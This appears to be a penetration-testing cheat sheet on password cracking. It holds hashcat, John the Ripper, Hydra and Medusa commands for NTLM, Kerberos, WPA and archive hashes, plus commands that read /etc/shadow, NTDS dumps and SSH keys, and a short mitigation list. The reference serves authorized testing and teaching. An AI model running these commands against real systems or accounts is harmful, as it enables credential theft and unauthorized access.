Hash & Password Cracking

CRACKING WORKFLOW:
──────────────────────────────────────────────────────────────────────
Obtain hash(es)
│
▼
┌──────────────────────────────┐
│ Identify hash type │ ← hashid, hash-identifier, name-that-hash
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Choose tool & mode │ ← Hashcat mode / John format
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Choose attack strategy │ ← wordlist, rules, mask, hybrid
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Run & monitor │ ← --status, --show, potfile
└──────────┬───────────────────┘
│
▼
┌──────────────────────────────┐
│ Recovered plaintext │ ← credential reuse, pivot
└──────────────────────────────┘

hashid hash.txt
hashid -m '5f4dcc3b5aa765d61d8327deb882cf99'   # -m shows Hashcat mode numbers

hash-identifier
# paste hash interactively

# name-that-hash (modern, colorized)
nth --text '5f4dcc3b5aa765d61d8327deb882cf99'
nth -f hashes.txt

hashcat -m <hash_mode> -a <attack_mode> <hash_file> <wordlist/mask>

# Straight dictionary attack (MD5)
hashcat -m 0 -a 0 hashes.txt wordlist.txt

# NTLM dictionary attack
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt

# Dictionary + rules
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

# Brute-force mask attack (8 chars, all printable)
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a?a?a

# Hybrid: wordlist + 4-digit suffix
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d

# Hybrid: mask prefix + wordlist
hashcat -m 0 -a 7 hashes.txt ?d?d?d wordlist.txt

# Combination attack (two wordlists concatenated)
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt

# Named session (resumable)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --session mycrack

# Restore a session
hashcat --session mycrack --restore

# Show cracked results
hashcat -m 1000 hashes.txt --show

# Check progress/status while running (press 's' in terminal too)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --status --status-timer=10

# Output to file
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt

# Custom potfile path
hashcat -m 1000 hashes.txt rockyou.txt --potfile-path custom.pot

# Remove cracked hashes from input list as they're found
hashcat -m 1000 hashes.txt rockyou.txt --remove

john --format=<format> --wordlist=<wordlist> <hashfile>

# Auto-detect format, wordlist attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Specify format explicitly
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
john --format=nt --wordlist=rockyou.txt ntlm_hashes.txt
john --format=bcrypt --wordlist=rockyou.txt bcrypt_hashes.txt

# Wordlist + rules
john --wordlist=rockyou.txt --rules hashes.txt

# Single crack mode (uses usernames/GECOS as candidates)
john --single --format=raw-md5 hashes.txt

# Incremental (pure brute-force)
john --incremental hashes.txt
john --incremental=alpha hashes.txt

# Mask attack
john --mask=?l?l?l?l?d?d hashes.txt
john --mask=?u?l?l?l?l?d?d hashes.txt

# Show cracked passwords
john --show hashes.txt

# Show only a specific format
john --show --format=nt hashes.txt

# Convert /etc/shadow + /etc/passwd into crackable format
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt

# Convert zip/rar/pdf/ssh key to John format
zip2john archive.zip > zip.hash
rar2john archive.rar > rar.hash
pdf2john.pl file.pdf > pdf.hash
ssh2john id_rsa > ssh.hash
office2john file.docx > office.hash

john --session=mysession --wordlist=rockyou.txt hashes.txt
john --restore=mysession

/usr/share/wordlists/rockyou.txt        — 14M leaked passwords, first choice
/usr/share/wordlists/fasttrack.txt      — small, high-quality
SecLists/Passwords/                     — large curated collection
CrackStation wordlist                   — 15GB+ combined dictionary

# CeWL — scrape words from a website
cewl https://target.com -m 5 -w custom_wordlist.txt

# crunch — generate all combinations for a pattern
crunch 8 8 -t @@@@%%%% -o crunch_list.txt

# cupp — build wordlist from personal info (names, dates, pets)
cupp -i

rules/best64.rule       — fast, high-value common mutations
rules/d3ad0ne.rule      — aggressive, large mutation set
rules/toggles1.rule     — case toggling variations
rules/rockyou-30000.rule
OneRuleToRuleThemAll.rule  — very large, thorough (slow)

# Chain multiple rule files (multiplicative combinations)
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule -r rules/toggles1.rule

# Write a custom rule (append digit, capitalize first letter)
echo 'c $1 $2 $3' > custom.rule
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r custom.rule

# 8-char, all lowercase
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# Capitalized word + 4 digits (common pattern: Summer2024)
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?l?d?d?d?d

# Increment length from 4 to 8
hashcat -m 0 -a 3 --increment --increment-min=4 --increment-max=8 hashes.txt ?a?a?a?a?a?a?a?a

# Custom charset (only specific special chars)
hashcat -m 0 -a 3 -1 '!@#$' hashes.txt ?u?l?l?l?l?1?d?d

john --mask=?l?l?l?l?l?l?l?l hashes.txt
john --mask=?u?l?l?l?l?d?d?d?d hashes.txt

hashcat -m 1000 -a 0 ntlm.txt rockyou.txt
john --format=nt --wordlist=rockyou.txt ntlm.txt

hashcat -m 3000 -a 0 lm.txt rockyou.txt
john --format=lm --wordlist=rockyou.txt lm.txt

# secretsdump.py output format: user:rid:lmhash:ntlmhash:::
# Strip to NT hash only for Hashcat:
cut -d: -f4 ntds.dit.txt > ntlm_only.txt
hashcat -m 1000 -a 0 ntlm_only.txt rockyou.txt

hashcat -m 2100 -a 0 dcc2.txt rockyou.txt
john --format=mscash2 --wordlist=rockyou.txt dcc2.txt

unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt
john --show unshadowed.txt

# MD5 crypt ($1$)
hashcat -m 500 -a 0 hash.txt rockyou.txt

# SHA256 crypt ($5$)
hashcat -m 7400 -a 0 hash.txt rockyou.txt

# SHA512 crypt ($6$) — most common on modern distros
hashcat -m 1800 -a 0 hash.txt rockyou.txt

# yescrypt (very new distros — often not GPU-crackable efficiently)
john --format=crypt --wordlist=rockyou.txt hash.txt

hashcat -m 13100 -a 0 tgs_hashes.txt rockyou.txt
john --format=krb5tgs --wordlist=rockyou.txt tgs_hashes.txt

hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt
john --format=krb5asrep --wordlist=rockyou.txt asrep_hashes.txt

hashcat -m 5600 -a 0 netntlmv2.txt rockyou.txt
john --format=netntlmv2 --wordlist=rockyou.txt netntlmv2.txt

# Capture PMKID/EAPOL with hcxdumptool, convert with hcxpcapngtool
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 -a 0 hash.hc22000 rockyou.txt

# ZIP
zip2john archive.zip > zip.hash
john zip.hash
hashcat -m 13600 -a 0 zip.hash rockyou.txt

# RAR5
rar2john archive.rar > rar.hash
hashcat -m 13000 -a 0 rar.hash rockyou.txt

# 7-Zip
7z2john.pl archive.7z > 7z.hash
hashcat -m 11600 -a 0 7z.hash rockyou.txt

# PDF
pdf2john.pl file.pdf > pdf.hash
hashcat -m 10500 -a 0 pdf.hash rockyou.txt

# Office (docx/xlsx/pptx)
office2john file.docx > office.hash
hashcat -m 9600 -a 0 office.hash rockyou.txt

# SSH private key passphrase
ssh2john id_rsa > ssh.hash
john ssh.hash

# Check devices Hashcat sees
hashcat -I

# Benchmark all hash types
hashcat -b

# Benchmark a specific mode
hashcat -b -m 1000

# Set workload profile (1=low ... 4=nightmare, uses more GPU)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 3

# Force run despite warnings (common in VMs)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --force

# Limit runtime (useful for CTF/time-boxed testing)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --runtime=3600

# Hydra SSH
hydra -l admin -P rockyou.txt ssh://10.10.10.10

# Hydra HTTP POST login form
hydra -l admin -P rockyou.txt 10.10.10.10 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Hydra FTP
hydra -L users.txt -P rockyou.txt ftp://10.10.10.10

# Medusa SMB
medusa -h 10.10.10.10 -u admin -P rockyou.txt -M smbnt

1. Use slow, salted hashing algorithms: bcrypt, scrypt, Argon2id.
2. Never use unsalted MD5/SHA1 for password storage.
3. Enforce strong password policies (length over complexity rules).
4. Enable MFA to reduce impact of cracked credentials.
5. Monitor for credential stuffing and lockout thresholds.
6. Rotate credentials after suspected hash dump exposure.
7. Disable legacy protocols (NTLMv1, LM) that produce weak hashes.
8. Use Kerberos AES encryption types to prevent RC4-based roasting.

Got a hash?
│
├── Identify type
│   └── hashid / name-that-hash
│
├── Fast hash (MD5/SHA1/NTLM)?
│   └── hashcat -m <mode> -a 0 hash.txt rockyou.txt -r best64.rule
│
├── Slow hash (bcrypt/sha512crypt)?
│   └── Smaller, targeted wordlist + minimal rules (GPU-limited)
│
├── Network hash (Kerberos/NetNTLMv2/WPA)?
│   └── hashcat -m <13100|18200|5600|22000> -a 0 ...
│
├── Archive/document hash?
│   └── Convert with *2john tool, then crack
│
└── Nothing works?
    └── Try mask attacks, hybrid attacks, custom CeWL wordlist

# Identify
hashid hash.txt

# Hashcat dictionary + rules
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

# Hashcat mask brute-force
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a

# John wordlist + rules
john --wordlist=rockyou.txt --rules hashes.txt

# Show cracked
hashcat -m 0 hashes.txt --show
john --show hashes.txt

# Convert shadow file
unshadow /etc/passwd /etc/shadow > combined.txt

0     MD5
100   SHA1
1000  NTLM
1400  SHA256
1700  SHA512
1800  sha512crypt ($6$)
3200  bcrypt
5600  NetNTLMv2
13100 Kerberoast (TGS-REP)
18200 AS-REP Roast
22000 WPA/WPA2